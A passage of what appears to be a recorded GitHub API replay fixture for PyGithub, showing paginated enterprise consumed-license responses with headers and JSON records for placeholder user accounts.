collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user026","github_com_name":"beaver-user026","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user026","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user027","github_com_name":"beaver-user027","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user027","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user027@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user028","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user028","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user029","github_com_name":"beaver-user029","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user029","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user029@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user030","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user030","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} https GET api.github.com None /enterprises/beaver-group/consumed-licenses?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4ef4c3608e49b9c67c3c8a20c4379a15b998aae0cd83cf8d654de0862baff233"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4827'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '173'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '3612:2A2F:2E4F58:30A766:64C1FE39')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user031","github_com_name":"beaver-user031","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user031","github_com_member_roles":[],"github_com_enterprise_roles":[],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user031@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user032","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user032","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user032@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user033","github_com_name":"beaver-user033","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user033","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user034","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user034","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user035","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user035","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user036","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user036","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user036@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user037","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user037","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user038","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user038","github_com_member_roles":["beaver-external:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user039","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user039","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user040","github_com_name":"beaver-user040","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user040","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user041","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user041","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user042","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user042","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user042@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user043","github_com_name":"beaver-user043","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user043","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user044","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user044","github_com_member_roles":[],"github_com_enterprise_roles":[],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user044@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user045","github_com_name":"beaver-user045","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user045","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user046","github_com_name":"beaver-user046","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user046","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user047","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user047","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user047@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user048","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user048","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user049","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user049","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user049@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user050","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user050","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user050@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user051","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user051","github_com_member_roles":["beaver-external:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member","Pending invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":["beaver-general"],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user052","github_com_name":"beaver-user052","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user052","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user053","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user053","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user054","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user054","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user055","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user055","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user056","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user056","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user057","github_com_name":"beaver-user057","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user057","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user057@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user058","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user058","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user058@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user059","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user059","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user060","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user060","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user060@beaver.co.jp","total_user_accounts":1}]} https GET api.github.com None /enterprises/beaver-group/consumed-licenses?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"75ad40a2a50af04fddaa764d4818c3cd2154fe00a81115ac5393da47843abd6c"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4826'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '174'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C158:2859:2C77E0:2ECFA3:64C1FE39')] {"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user061","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user061","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user062","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user062","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user063","github_com_name":"beaver-user063","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user063","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user063@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user064","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user064","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user065","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user065","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user066","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user066","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user067","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user067","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user068","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user068","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user069","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user069","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user070","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user070","github_com_member_roles":[],"github_com_enterprise_roles":["Outside 